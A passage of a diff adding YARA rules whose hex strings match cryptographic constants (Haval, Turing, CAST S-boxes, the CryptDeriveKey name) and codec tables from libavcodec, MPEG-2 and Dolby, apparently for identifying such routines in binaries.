+	$a0 = { b5ad87bbe1c1bd3b2f82593bcd96693c6e23f03bde2686bd80730f3ddf7956bc01e9803e3b6fd73e9c0bafbe338f79be72c2483d651336beee69873ee6076e3ebc62073d68acef3e7c32093f5e2b43bcba96cbbee73d0dbd7a37f13c0c2bc5be108ba7bee58a16be8b88aebd0ff418be052ec1bd73ffca3df873353c833ca7bb6e43bf3d1ea5093e6331d73d4bad2d3d7755863dcd0ddd3c8a9e09bd267593bc8e292c3d1ba81d3da0c5c8bc3d960bbd2674efbc3b5e40bd84b4c1bd8c661cbe87d01dbe7070b3bdd9b809bdfb15ecbb428d073c730daf3c35db323deade673d52c48a3db445663d837b123d1edecc3c27b47c3cab7c013cf687b0bb38fbe4bbf91045bc8aabcebc01d6d6bcb50bc3bc862005bd4ee502bd433692bc3e4188bc6c9584bc19093fbc4bdb67bb96ce0fbabe99f13a13a03e3c5a30963c4381a73c74640b3ccd1bf639ae70dfba52dc12bb4f9161ba32b686bb643367bbc4f11dbc185d8fbc4dcf7fbca8c830bc61291cbc91c4f4bb797bfbba720c1db98b5243bb7caad5bb36dd1238c078173cbc26223cf542083c9feb953b1ac687b8348d93bbf1798abb48233dbb4e44d2bbff81eabbccd610bcf4376cbc83e67cbcce7717bc585f0dbb630b3b3baf4a333b75ad4ebaa9f955bb404b7ebb135b67bb06857cbb5c429cba5fcf07bb285ca3bb38db8abb039946bbaf9cb9ba9c3f05ba5902b839 }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc5__32_lil_128_
+{
+strings:
+	$a0 = { 50f03bba982afb7e1d65f1a17601af393e59ca66880e43821986ee8cb49f6f45c3a5847dbe5e8b3bd8756fe07320c1859f441a40a66ac15662aad34e06773f3672dffe1b3d029b4224d7d03748120ad0d3ea0fdb9bc0f149c97253077b1b9980d879d425f7dee8f61a50fee33b4c79b6bde06c97ba06c004b64fa9c1c4609f40 }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptDeriveKey__8_byt_STR_15_
+{
+strings:
+	$a0 = { 43727970744465726976654b657900 }
+
+condition:
+	$a0
+}
+
+	
+rule Turing_multab__32_big_1024_
+{
+strings:
+	$a0 = { 00000000d02b4367ed5686ce3d7dc5a997ac41d1478702b67afac71faad18478631582efb33ec1888e4304215e684746f4b9c33e2492805919ef45f0c9c40697c62a499316010af42b7ccf5dfb578c3a5186084281ad4b25bcd08e8c6cfbcdeba53fcb7c7514881b48694db298420ed532938aade2b8c9cadfc50c630fee4f04c154926b117fd10c2c0214a5fc2957c256f8d3ba86d390ddbbae55746b851613a2411084726a53e34f17964a9f3cd52d35ed5155e5c61232d8bbd79b089094fc077edbf8d755989fea285d363a031e5190d29a2940f9d94e7d841ce7adaf5f80646b5917b4401a70893ddfd959169cbef3c718c623ec5ba11e919e08cebadd6fcfa869d61f832ab122feef18f2d5ac7f58042807882f6b60b552aec96579edaeacbdeb397c96a85e41eb6df791c02e903b11aae8eb3ae98fd6472c26066c6f4109822045d9a96322e4d4a68b34ffe5ec9e2e61944e0522f37378e75aa353a43d6a97a2aababce1cd87c1246457ea6703fd3be37b2d10a01c106d65b5c04626d20efcfbbdded7b8dae3aa7d7333813e149950ba6c497bf90b74063ca2a42d7fc56de97952bdc23a3580bfff9c5094bcfbfa4538832a6e7be41713be4dc738fd2ac8d6b22e18fdf149258034e0f5ab77875f7af3ff8f51b098b22c753162073656abc330c17be873a64695b60f96bef5683c6f7110ec443277d139f7de0112b4b9d31dd2e1033691863e4b542fee60174844b19330949ad057a9e715fe79cc5699b008500e602313695d5ed6c08d7595a727a411dff78f52b8caf297111ad9d47615379b72c51cd815f8611dbc284a5edb829bdaa352b099c46fcd5c6dbfe61f0a7622199da6095afa9b749f534b5fdc34e18e584c31a51b2b0cd8de82dcf39de51249408ac26203edff1fc6442f34852385e5015b55ce423c68b38795b898c4f2715cc265a17781029c0a44ab4c2107cce6f083b436dbc0d30ba6057adb8d461dd463091904484a7e39358fd7e91eccb043cf48c893e40bafae99ce067eb28d61b7768bf6675dc8915a200d388a0b4e5f20daca27f0f18940cd8c4ce91da70f8e1cb5bb37cc9ef850f1e33df921c87e9e8b19fae65b32b981664f7c28b6643f4f7fa039d8af8b7abf92f6bf1642ddfc71e80c780938273b6e055afec7d571bda0da9ff2a40ab4b1c337c9746ae7e2370d4d33b3759d18f012a06535bb704e76dcb98a704b69a1332c54dcf68584f7b5e22e26319afe0d72fdc370b754135bf433dde1295c0dca6a3b30b7af92e09cecf54a4d688d9a662beaa71bee437730ad24bef4abb36edfe8d453a22d7d83896e1a2958ea62f973a905c40e6cac14252fcb1bcb60cfcbe023a8f69de60126b6a5668c67211e5c4c62796131a7d0b11ae4b778dee220a8f5a147958864ee45a32789ef72a3f13f59e0960224253fd20f6658 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_16_120__16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000280030003c00480058006c0078 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_vmdaudio_table__16_lil_256_
+{
+strings:
+	$a0 = { 00000800100020003000400050006000700080009000a000b000c000d000e000f0000001100120013001400150016001700180019001a001b001c001d001e001f00100020802100218022002280230023802400248025002580260026802700278028002880290029802a002a802b002b802c002c802d002d802e002e802f002f80200030803100318032003280330033803400348035003580360036803700378038003880390039803a003a803b003b803c003c803d003d803e003e803f003f803000440048004c004000540058005c005000640068006c006000740078007c00700080009000a000b000c000d000e000f001000140018001c002000300040 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truemotion_pc_tbl2__8_byt_808_
+{
+strings:
+	$a0 = { 08000000000800000000081000000008010000000800100000080001000008000010000800000100080000001008000000010600000006100000060100000600100006000100060000010600001006000002060000200620100006000201060020100602010006110000060020000600020006200000060110000602000006010002061000200600010206100100060010200610100006100001062000100602000106010100060100100600110006100002060001100600001106100010060100010600002206020101061020100601020106201010060100200600100106211000061002010612010006012010060102000610200006001002060001200600022106000220060000120600002106201100060001010611100006002012060020110620100206020120060022110600101006021100060021100600020306201001060012010411000400220420000401100402200400200402000410010400110402010402210400020420020401010410100410020422000410000401000421000412000400100420120401110400010401020411020411010410200420010422110400120420100422010401200400210410110421100410220402030412010420110411100420300411200402100422100411110430200430000401220401120402110403020403000410210412200400000412210421110402220410120431000420200400030402020422200401210421020421120411220400300412110420220431200421300422020422220420310413020403100411120400130421010412030413000413100402130430010412100422130403120431010430220400310401310402230401300411210422210401130410030422030430210421310433000413120411310430020412020411130412220420320410130422310421200401330433100420130431220413300401030411330420210413310403220431020400240200021002200230024002500260020102110221023102410251026102020212022202320242025202620203021302230233024302530263020402140224023402440254026402050215022502350245025502650206021602260236024602560266 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_window__flt64___64_big_888_
+{
+strings:
+	$a0 = { 3fe27440a0146e323fe29639a034be4e3fe2b86f403252c13fe2dae3dfca10c13fe2fd975fd882b93fe3208bffe437893fe343c0002d18df3fe3677fffd0c15f3fe38b3ffffdda3f3fe3af3fffdb7e273fe3d3c0002d18df3fe3f880002f3ea13fe41d40003164623fe44280001e10953fe468000044b8303fe48d7fffe1ef6b3fe4b37ffff31d773fe4d9c0003e46eb3fe500400039fb683fe52740002036563fe54e40000671443fe575800026a79b3fe59d40003164623fe5c53fffecac333fe5ed7fffe1ef6b3fe6160000112e0c3fe63ebffff0f7b63fe667c0000abcc73fe69140000f084a3fe6baffffc3ded63fe6e500003c212a3fe70f3fffdb7e273fe739ffffeed1f43fe764c0000225c13fe79000000000003fe7bb800037d5a73fe7e77fffd0c15f3fe8137ffff31d773fe84000000000003fe86cfffff768fa3fe899ffffeed1f43fe8c77fffd0c15f3fe8f53fffecac333fe9237ffff31d773fe951bffff98ebc3fe9807fffea86713fe9afbfffc604983fe9df3fffdb7e273fea0f00002af31e3fea3f3fffdb7e273fea6fbfffc604983feaa07fffea86713fead1bffff98ebc3feb03400042926e3feb353fffecac333feb677fffd0c15f3feb99ffffeed1f43febccfffff768fa3fec007fffea86713fec344000179f503fec683ffff543393fec9cbfffbd6d923fecd1bffff98ebc3fed06ffffe63aee3fed3c80000ce2893fed7280001e10953feda9000019c5123feddfbfffc604983fee16ffffe63aee3fee4e8000406cad3fee867ffffbb47d3feebf00002af31e3feef7c0000abcc73fef30ffffd50ce23fef6ac0001353cd3fefa4c0000225c13fefd5bfffd732a43feff44000179f503fefffbfffc604983feff8bfffdfc9aa3fefdf3fffdb7e273fefb300000897063fef73ffffdda3e83fef2300000897063feebf800015798f3fee49ffffeed1f43fedc300000897063fed2a7fffd958653fec80ffffd50ce23febc6ffffe63aee3feafc80000ce2893fea223fffe4152d3fe939000019c5123fe840c0002481d93fe73a7fffd958653fe6267ffffbb47d3fe505800026a79b3fe3d880002f3ea13fe29fbfffc604983fe15c0000225c183fe00e40000671443fdd6dffffcc75dc3fdaae8000406cad3fd7df7fff8c09303fd50280001e10953fd219000019c5123fce4affff3a6e773fc85100005e7d413fc248ffff9054b33fb86e0000036f9c3fa87400004b9768 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_32__flt64___64_big_256_
+{
+strings:
+	$a0 = { 3f16f628e59b6fb83f4e8ba8c62758a33f6a4eec131ce6003f809740619d660e3f9188f61c5098033fa06bc03ceb90373fac12c7ddf4dbee3fb64e8e8d1704283fc0ad6b60de4dfd3fc7aaa83a374b273fd00a19080f4aab3fd4de9dbf0174443fda2befcb4b10073fdfbd816114ed3c3fe2ab29df322b8e3fe55bd57d6591223fe7d422bf5bcbf43fe9fd746838466a3febc9926525eb1d3fed33bb839d71e13fee4038e04043ac3feefa90871289be3fef72c147d28d7d3fefba2b148574403fefe0d74abfb0293feff3ad2c20472b3feffbc9236de3a53feffecc8044642d3fefffbb2f5bb4393feffff52f7d09d23fefffff16be0ce33feffffffdf0c446 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_S__32_lil_8188_
+{
+strings:
+	$a0 = { d440fb300bffa09f2fcdec6b7a8c253f2f3f211ed34d009c40e5036049c99fcf27afd4bfb5bdbb88904003e27596d098e0a0636ed261c3151d66e7c28effd4226f3b682859d07fc0c87923ffe2505f77d340c34356862fdf1aa47c882dbdd2a2d6e0c9a119486c34876db7612f0f5422e132be2a6b1654aa3a8e5622d041d3a2c840db662f3984a72fff4d00ded2b92dac3f9497d8c1974ab7447652a737f4b5efba2cb859d151d7edf0f76f1f7a095ad0687b822ef5ec9054c0b02235598ebc7f2f6d4ba264bb50104966d22d81e5be902233b79f153be911e48eb45d34ff4b40c245fd3f9731ad2ed0f6c46581fc55adcab1d5ae2daca16db7d4a2500c9bc1f2402288384f6e0cd7bfe4a472a25b4f2f1d4c5619539cc554e349b9fe6946b08aabb6b1dd5813c745c585635d930f11d58a53579304396ae0373de6b3f6542a5f7d783ab5a07662dffca6196a20427ad5d4f92991181bf65e2772bb678150aa91109038eb05b5c68ccbc7840f5ad72a27144a876b93d1a2af86d22a91d256aa604389d70d755c42269eb393c98471182db3006c14bbe2733cbcbea079376254ab9e4564828b323f82cf1877a6cea2592e00ee04e678fe895009ab3fc2f65f32053f3881c8c56369d65acb76c97499d4cf0d18cad5820738f65cfac71115c38a139ee735d091da4786900ff49e41e2a74162363195f41e05043b57aa8d5d804ad00083543c2a3200dfcd64bf8ea657ba2b37c67541d3af507532c1a7f50b5a91abbf546b26140b2bd7c94cab82cd9c4465f2fbf7f3c585ab94db551b24e3d4aa3fbda4cfe2a3ea2d024d209eac25bdc8b355dfea989ebdd5b23112e36cadd52ade2943952845bead690f71d80fc951aaf66b78aa1e3f51229ba751aacc44d32af0415a7badfb7cd30595061b91e4ec41e632c3b4d4682203cc0a60c96d7e38ce6cb16bbf78fb706ac9d9030dde39dfd4da6310e064f43647d828d35a96cc47b3c30fbb75fb1b519835ccfb4f6acf8bb5bc0a1fe14afec5bf10ec0aa70a5739ac2f44043f53b188612e7a39e079cb27578f41eb9c8dd6ac1c967cd32a9dcb750109ff9dc6f0655bc7d840dbd979770eecd4ea444774321cb19ecb24ddbd541c7ef94411f0b10e24d2fdb375965537aca3af277cd44d5fc85196759056e615bba5f0040358f12c04caea371a01dbaabf8d4a3eba35a0ff2635094d7bc3d96e30bc6626a59825f748569d565effd063ed0ccfb2637ce1450b70f150ead57228a985a7bd1faf704823d4f30b87a7794d3b2d9841e042e7edd00cb80d47264c8181f8d76a4d475c5e0c7c591923d198721b38dbf4d2f5538683ab231e2f6e9e9c718346e091bd6e45569a0c2039dc71c5c8201cda2b96ff96e6e108ab41b1b989ca7c83e7691a4348cc0279c5f7a27df49e429c167b4249f0c95a000f8fddbf65815c9410201f5ba70bef7ecfe36980433f397acf61fe7a20c5ee949c88555106fc7279efa7ad35721d4ece635ad5ba3604deef30c49994070c5f7ddbdc18f3efd6a17b2fb5a00536e85994b015ee09d9ffe9860044dc594494efb3cc83bafbcdc3e08141dad1b12a093bc1f197f97bcfe6a5db0d42015befe7e441ffa12506f880e18010c41f7aee9b17a9c67ad3a43058fe7f8bde984e3fe877699292797b9ffa245bc813e18300c4ac253550d75f61eaf754311462634b550d2111685d59c366c873cf633dc034e2ce877ed8d4212b675c81611f077f62f73984301e363b57ebe4a4642f609ccd3ad63546bc1b2d03819e0cf50127b47a849979dfe3a08cf36cba943084105ea93725fe6f6ff41f3bffa16afb8c20748c458f27a2e0d9343ac74e694f88fcdfe84d3e88000eef8d6459358c38458a6643801dfd9b1d72bb8486a5336325e812824e8498808d12b43fd3fee10a28cea59be12752c2a6d5bd5497e4dd55d6c5647066eb4d0b847701a8b6a1a926db841467b5e0b743f0216058d0e58430f05472f46f0653a11aa35547dcdabf5d62b5e61b5668946bca833bd26e2ddb01cfecbad0d3a65c3d80b609a777af4ca3b433d6c87b39952be25e04530e5f616fed816443e72078135eb49b6318de22a11c88d12667b9e8a749807bdab722252d555e37d272521c95d2794c890dc602b48c485bfea41b6b9fb0a4cf15a81c05300ca263df7188cb2fdeb9e9c9c60c53ffee0b174521e3352854b43c29639f29e741ee7c2d1d6e86520450f385661ec60134f3952ca2305008a731130f93601784f973599826a1445c64eca977c852a633ffcd41172ba0a2d9ba7c6f038021089cd95061483fcb65d76bc2abf6a364762634807b5ea725fcd1e6e4e610c72080b6f0cd3b4d84174df8ee31e424087eeb49cb2cae3b6a848878f78ff6605dee7356f77adb5cdd2fc13116a1436ff63054ecfab3fad77f15cc7985ef58de52d15efd2fdb19ce328f7af96a30f83ef002d59a31990ffa42c2b0ebe3a706498ec60c23dab828308280c8f3dedc71b15fd3c81b8a0860c5c0bee8c9a3614df5a8bcfaef2fc7992e8222b470c582894ed9d8bc341c8be6161e3079e93b27a6eaffb0c6b8d9616948b2003fceffb73b28dc085af6da439897e1f72fb71976a49b1c8fa03786dcb1d3a716b793c39feb6e13a73ec6bcc64237511abc2868efd6650352ab776a2d4bed273516d21f822e6e5c09fbf292dbcb29ea5ef59258147f4f58917b698354cca8672648601985eaac4b8cd4603883f9e0230d8a7e386c49d2e60a0c6084b21d7335d847c6b1dcea564cacb381bd3eb0ab0e2387bc3864fab1b5f0b3a25e8f424618fc7a6b030abd89b04f89a59d645e4145a32383035cb93b5d3e7295d7437cd06d7e1edfdf06efc46c6c39a5607170bebf7305768783f1ec234540c2ef8d9f5dfa25bf3d90eb07c910e8ff7f60474be49f3644c61f8c90caceaebff9b1beeacafbee5019cfe8ae07df5106880e924805adf0838d3ce1d51070929f7d1011b97d6407d4e4e3b25e284f3d20a8afb9e082defa8b2667a02e797282c0b23f552be29a489497efd4bc3f5e12eefcff21fd1b5b82edc5559240a2571202831a4eff7fe0bae74682520e14578ebff7733388819f8ce84efca6a5b582c9b71dc0a864c29f57314f09675f3fbdf2c1f7ff40fc8db71fc1d26b8e9be57b43bf3db0994bc6dbb5e6c08d63999d81551cc897a16e2d014a284a88c5716fc3cc13c243b8f143076c3c8909835fdded0f50e87f2f7e7fc0d7bf7f5002049afb5ad0d247a72e1951163ebf70af8013c3582e30985fc4c37c7202b40f0a82ef7f0fadfd968cae2a2c5d499ae98eb888da50a0f427849057ac1e49b46f7915dc52829b7dbdef7d5972a6d840a8ad0445f54503745dfa05c33ee81a75914fc269569241e9ef232ef103a9f20d2760b6e476027465fd94b2857992cbdb7682768177028d91aff89ef7484edf6d618f0e849de2837d2f84c8e50c3482b6bb9648b1b493ab3c30ef28af4f989baf9f770d56dc92201e4d2288aa378496dc297ddcd35627ee7c908b40d21fb5e37cc0e7a1b466e55e61e9c39d20f83ce3d1946041a39ccd0e46765c3b98ea008178d6d42c5747fdd9ed6cf79c22a8bdaaad7d124e078a4390c0971f8adb1b08be7ea09315ca38b9ff3cb097f8c0c23decb21a8d510e3864fb7bcc6888270fd981014912d4ffe55d6af87edd14e2a2766803a4b98f955d92faff394be9ae39ba0bd3ffa43b93f7fa2386496dfabc3c19457562277af45c82a08bbd61d1421ed1f404adce92a37e12b78d421072a97282a8c470920be57d12c8a15b284ff4623ca5eac03531d205e8fb29894282dffcb4536ab64f5bc17d0eab1f081fae1886106d08fdfc8928fff911cc4b69ae5c6a234dcade12c58c3f2cfe2dd0d29658eff8da52cfe4675b15958c484a490ca8b6b9bc828f5c456bd3893794603aa9c900ec53527144494b870a40bc73d71c67347cf67e71023655eb4fff2fd0a2c460bfd2c0033fd46defb450d18c470788186e00553fe5a2bcd4e6b9168004a233385797677d20d73d8f0fde337bf872334fccab5dc58876b0a6007b01007b94d2750057f888bbf99e014289ffa56442e00263852bd9db72691b97eede2fa26e2bae085f6d617aaf6787c9e5d2eb1fcfc2c8ef617125acf1c23982ccb84c2167d183e5b1623edcb7cebd107f385c0af93d44f00fc66d6e60493a546048c127571d8ae92b3817b48a24bee1200fda96af25844568e53b83997d450d6050932f2862b3348320111dd9a08d6d2b311e2b64005a309c88e6bc528a58031bd5efbaf79ced4241115c31a4c53e32833646efdf01c533a11c53d3e9833735ee2004b39ddee9b61fef7bbea798a273d2db7b4f4a578cad6443045185d10e02faff7a287e63b60fe6a1355f0920f1eb79439d05fdb1b79764631f64f3df4a1e245f7f1428cdb8a24f400043c92022c30c300bd3fd4f37a5c0d9002d1d157b14241a114dee6751ca0f4c90ff71fe5f192d5f64051afefe130cca081b082101170500015380fe5e3ee8f8f49aac0127e77f5feeb8d26142df068a9b9ebb25ea9372dfff84ce018871f5044bd63d3b266fa20084d47ee6eb7e54a04c6d44f5d6f36cdfab4926f5c7a0aec18c3336937e3f50612077d3e138b611030e5072bbb20ef82e50e0abde778dec811e975746674fe1005433c98f31206999bb1d08a504c3ff0518354de35c3d7fc666c8a6a9cc5b5dea6fecda916f929f2f22469f7d4691398e6dbfa54fc4431102839543eb4e21d0b88320020c18b63f1e93f818e65816283e6e4826708ad78bc1e477747ce006b5250a2df3028b097981bbeae4233b122838adde6916ca7415621b87dfb7401c21f99e1aa57b371400c88a1e0403401109d2e459bdd556d1e3d576e84f40a3912fdee87b55a7e4ea00ecc2e50ca6bbb44dffbd56e7ac6933dd35b017ec27235706b0c8af9991c3c8561c81656b1961145e75cb856e02c007be775532c2ecf43f892dc9bf5b253becd0b71a80b7243b6d8def63c720fca566c38028389c0532ce0a8a54c9aac7d7a1ec32fa1a045a62161d2c900167547a759bf777d43131b02691db6fcc36468b0bc7486ae6d9795ae556eb4c6a02ff7e4352b4768f2fa580f90de3cd7486eb04daed04bea917dff4182c9d7f74b7b4f72aab204dc3ef7c6b092e54a2411735a0b6e5f6423d21267c1c2c0ff5c261f9da5265f831c2d2690f1325a27f16d8c8f21804a6961a00ab26150d215c3163ec720a5efdfeba49d908791886bd0d8da77011310c649b3ed7103eccb6d3cad588c3ae0ce10130f7ff8a726ca1e2ea716ef39a1f2fd1cbcf1784dec16bbe07acd8a144cb560f9b8bc3883901ca2fc5b1cd31beb4062878d8e2a4a31232e57d6fb67efd5800e91ed0c2ffad24c50f99f4c5aa1197957b1d00d2e7e582f67398109630610021952dc3ff21a1ad158490297f97bb7fdbb39eaf2aedc92965a4e25c2cf330a7e83faad091c05c8ae72c9ed4a954e40c86cd0ad619195f0103910777f63aa0de5e56a878df56e3debe5cf02187e3758b5106c5b3efc3a5b8d2b6eed877be23e5294515c2dfef692ffb7ae6afb2c470f45bebe0f37698ccd60c46e4393885da1f2f838719677300caf84491a99e296b2995c22f49abbe6692696e67b5daddd39b2f057edf1c7025dbee515e1be62453f66ce3fc6a04cc16033e214486d059dcb71f29657943fdd6cc79398241f6cd2b934dc357b682d2df4e0c29e57a6b53b93cfe201e857e553398b0f0ec1372b3ffd3c1c5853fd27eef0a040cc97eb9746e2cdf660e9b117933a6ff7f6ab8f558d31d449ddd447f163117faf1fb08cc11f5e7001b05d200ba5a73d822b72acb8163383a24f6ac7afdbe697fe7a2e6cd20c7f0164849c480c1f5cc4016853848a8b015cb188be6ffdeaa4c010a485faab21204fc149825e2efd0418db4404efbb68e24fe1cba8d029ba941040a551acb658fbae7f451722517a595d7ec06c10a98a597aab939c56afe794d63f7f3f24080af68569e0ced8b95b411885aebe1b0e609875671e0d7a7fe294e2de5666300c0d102058eacc471f577932a37050cf235855702be6122c9a042d680a213dfd25bb574c0992168ece521d4e83cfb53b3edadc8c97fa8288199953d00f91f5c99d338fe0bff4e0cea072406b14f2faa7669b94f0595c79074a7a8b0ffa155efc2a29ce5272db6a663426ae61f0065df6609c50ebc55dddf5506de299a731e917589af171c91c7326894f88980e9010df4554752c93cb603b244c80caaf0f3bce936ac8726743ae52bd8b30149749e1a7e2dee64dab1dbcd1049c90180bf68b8fdf3260de7ed429384c2a504b637676316b6f550e36647f2c136ca8edb056e139183f1fe377a88fbd4f7e7d6c97dfbc7dffc6330de89f5b6da4129ec9566e426196456b7c5ef54f6b7588dd0015492487fcbbac10f55ffe5493008b6e8d0b55b5a2ed787e16e6aabce663a22cdf32bc6f985089e473ecb680f016c0820e81da2de698bd17757f6f3f6c302fac3da7e4050d5b3cb4d089317ba0ed7b0d578b30a0cfb51d956dad7dee4bb2441560bca94d155570f6ee5e1e0beb584619f240a58c04bf7948e8827e361557b9f8002dcc315776805d76b6c64b34d9044a3f0b4668a64f1c0afd57e69f62fe9494f379e306a35b62c7385808540f8914902aef0764de83b089a1c422806944844b84c6e73102909c1c65fc98bf49c867d6f614f138d11772ee12b1bb372b490aa17d7a53cba1b167d1090ad9ca22b46afd259e49f5945d34513daf2d98754c6db4ef9e4f36f486d17ea137c09c7a51d6382735f44f4835617976ac6cd8802be7072cfcdb3f3d25d6e79609320a5809b45dbe260be0131c2a95c31a5ebf2424e2272155c1c2c1b72f6f3ffd21a4e40258c2fd74e32fdb767408e13230578bca35c6ed60fdc83229275176b4d786eb1eb58854f0944871d483f7baefefc76ffb577bf02238c5675f4aa2ab0465f0128092bf7f5383d361fa80c8a4aaf52c0e7d56674083bdf10510595a8d75a1badd51ef679e4f66c8481752065faced058bef7882668044af3f8f60f707f9ca0a0ab4653286ce95ca3ed76e17f30ac6bd2296837a90f36852afee3176797b724206ba9f59525cdd6bf1eff682c445575be069ff19a65e0f91d49b9ee18070134b8ca30bb15fe22e88309578849620e75557e62daa8ff765e464553b108de476dd4e7e9ef9d8ffaf6e16cac2c6748a34c7c7f33e2e708db95b4436801bc5cedecac53553260099fbfede2a1df9d57f083b986ed63b8a6b61a39be5ede32f78ff338b189896149f133bd3719c0dac606f57e5e62e499ea08a33ce3234eccd7cb796743a148199614a3d54bc9fe4a1714a16618a0ea2ddb84a06f48a8094a6188a898af002991596601632899e1600cf3c83cef782e3219d5d014ec0fcfd207caf77220a8d07e1941fdb0a60593dae36be8cdd3be743ca52d3748447f4c40d4b5dac30eba6da7193908d9eeba9fb0cfdb49530c674e019c3d5c41b9bd646a630e2ccdd97dba88736fea62c70be7db9af2358ddd4c5c8c8dd4f0e25381b86698a108c8eae21a89af4c28238292aa53be3493bf213a3be34b43160639ea9a6ec3e8efd9cd90f8ae6d2280a3a440c3099c7edf07a894a6cc5e7c5ba6b31d222fa0699a548a81686f29b2ce3a84c053553689fe8ae6bf25bc8a62b4bf2e22cf486fac258793a9a965dbbd53e7fb6fe778fd67e96335a90bc12b348ee91ba1e80d748049fc7d08c899bfe48da00111a17579d37fc0265ada4f991fe889cd2895ed9f33fdbf3478b86d45045f988625223bc8c4c9be56c12daa8d624fc55ef557be0a22e2bf6e91d2955bc74ec0c3f224995dd142a07f0dcdff276e7bf08adca806c145732f231ef4862316352689eae694b03333f2c67e15af742b37e473256948d8a9e9890216f31def623a38e287a776f6a5f353483674631095208d69764507d4fab650f92a592335f736876efb4cc0cea47daa2d156ca89603cb5dfe0dc5ab07d7fc2fc42109bbf0df8978bee25f334f8f44c91346758dd0052b85d5b948419404dc9b8f09c886e7ed7d73339ac3050041425117096aa6c8f30ed672008982762028bef7a9a99d6732bf755b5bd400fd53b358e3b0cb0a220f8314b28f1f08cf72d3134a3ccc6631f68cbe871c06888fc98897e362607a8ecf478352c8b6fbacc23c7669c03f52028f4e4d31d864e37038da5954661ef00809c1a5213051b7685b6ca08a2f823ecd0730ef9e7174812687dcd4403307d92f437e41c25e0c6c28098891d892f5f630a90805f37e95bdfffbb76fe966c298ace46fc0ec73b12ab460bcda98349512aea1fb36d74b2dabfa250febfcf3a4239196e23d0c7f2549af4893bc0014364a6f81e800f214384340f9a3c2547a9c574f70bcf9e741da3ad35ac284a0f45405557fb1be7c3559c815bdedabc5977fb5c75abaafdef6b63a9c473a25da02536a7e3d65498d2654ea77a4515bd51750885dd2d7766c1344c8a8040421a1e5b88a921ab86958ed60965bc5971b99ecea13599329f1b7fd01fa8d8e08f5f6b69a9fbf4c3babe35d4a351d05e655d8e1a0f14c6bd3ebed44f52435e9b0bd8fbbbecf62d7a2542fc94931f3b53854a4287105293948b81d5ba6bd971c852fcf75d61940e08567f52b33ffbf2d669356c6cf6f7f8d2a12c99baba10860de1fda2820e7bc27021629644d00c3fa18828bf15011cbb22c5ce732b2f295364bde0787b2f6bc5fa0e98141cd0c2150e1bdf14ee281c368b189e7e4fdd8b0795c43fd8b1e0150494d4143be381dee3c913f9ca792be669708f4adeebacfbe861219cbeab600c26026e4bd65757a1f2464a9dc488266adb3c386601328a8dfd80bf21c6d35be897710cee9b2b38faa02051e35c00b2af56b1682ff12eb116948e316754dd3ff3a7b4e1b67435f37e0f69c83ac8149ce664233b741938cc054d8d0886c3acb2928bc4737ba25472bd26aa61e1fd67afaba5c0c07f137446299e7b616d8d2428812960a6ec0a5e1679e74131a08fc72f739d1b1453758f958df19cf56f7c3be30ba6ec0241b21072988c2457f315ec911c58ebce946bc3814fae6c64a58e8ba46bc4ead8b508f465f4329783b1824f19fba1d82f40ff6af6d4e2cea6492e3168b4a5492c34f9b00ed8ca6ab786fc99a9ab7a5066e6e85b2a93cec1a888683bee904080e56bef1553b36e5e75df2a1b385bbdef73c03fe6133627416284c033c740c6dda6cc5aa79ade1e43c02c8f0515af3f8989fa42616292bd8eee32f381d9ab94f0c785732bb7bd9c63ea9a6776e5c8b65cbc73052d48b40d12bb73ec060788d06b9f45437a37dc830f40213a7c8328c6db9bee7d4eb2d9d8bbe06fb7979085322e777cf758ba48def1158c883e06f786b8da617635aa0f75cfa3300da5db0bf8ef210c3b9f580c2eaa07a76b908b0d2d9a31742d3798d711a026a33c69a60fd1127e3508043a8089906c4ed7f3def2b6d827684eb4e25cf8d4866d5c936414ee728ca0a61c2cfa9493ddfb9e3bae68d5fb664afae92e6d5c73a0905a89e7d012bf2703f17a4c3161eddf9d7e01587b8b150d54f9f2b82ba5a626279016a9c1bc02ea98a481540e716d72c5a0540229ad2939abf2de3b94587051edc53346e2999d66fff6c4986499f1c07ede2dfd14272b8ae7ede191a563e058c6fad151c6c62664cc254712a2b08ea3929eb93f0b0dc17aef2d458fb94a29e4c56cf5266fe83988105c42ec35339762e69d60108c1a0d30e16e7a1a6dff2e485d23e6998469074dd0e2b4c5676754f7833395d4f2332a15d1c323d94e1f5c30193264b2f029fc77e7e993c04954f5ebdfbfa3f0eadf776f49366296fce1f3dbe451ec634abb5d3b7f92bf7c034041b67b5724e3da39255019322b57fa8d2cf67b7ae606b3814183dc3bc307dc0a038f20616fd9b5163c390d39d58e6f8795447d6b81ca961fd97f45977ea9d53572dcf589a56ad634ee8781b2e467ef88065147981f3f455da91f330a240358f98d1d218e3b6bc50fa3f21f0403daebdc0c34cc25849b2368f5170d3b18483ceed0fdada8d87c779a2f2e81be0944b6f7190a38a4b950d3016e2fcffddbbbddaeba795806435b7f889771b12c1e60016240eb5e82c05b0cfa911112f95e50a99e7ec74d186931c93422a1181e3763aef2db1fcdddd37b1de9ade2cc30c0a297019be4009a0840f3a24bbcf37d1b4f0794eb4fded9e045da1150b68310d485adebb8b42ed9d6631e8ecc7e7958f3f1b19df720d33807551420794facd7d5c636dbeab642140aa0ad401b3cad1e702ae1d5753a282317aecdda8125d33aafde8436f17d446fb7122901238d49a94cead6947b862d85b9655d0f3826797fb664e0bb815a0475b1d6fe0fd4cb8c48ec26e72e857fc787a64445d869993d58b60030e206cf65fdc39a3000b5df2af63ae32d68b7e0c8c10704950d3bb04df98292af40c9891f46d9b53dd7e9e48859106077ecb582eef743bb1ff2f52cc0847d2cd277e1c5b21eba4e2d2f13c387ab41918764f4239608535e7de179de635eb277bf6afc9b8f5ba36cd67c409b11089c17bbf1de1f81acd0608c6707154335e2d5a49ded406d0c6642cc6c0bcb30dd03d348f8f70421bd5770f624f26bfd2b8249eb7c1156425a5464ee5d7f86081373ea5cd9578a5159c85889745e65fc77bc30cba07dbaba376061e9b227f7b2e8431d79f252472f4bef8b8fc5f83f2c1f46d95b1f596fcf00afd4c13feb03d6d50e2ea129b4f25f215f26f7323a228c4b49f7949d025f813c734878161c4986e7aeafc6ed17c6c873614074154f114eedebe27afe95641a44aa099c8f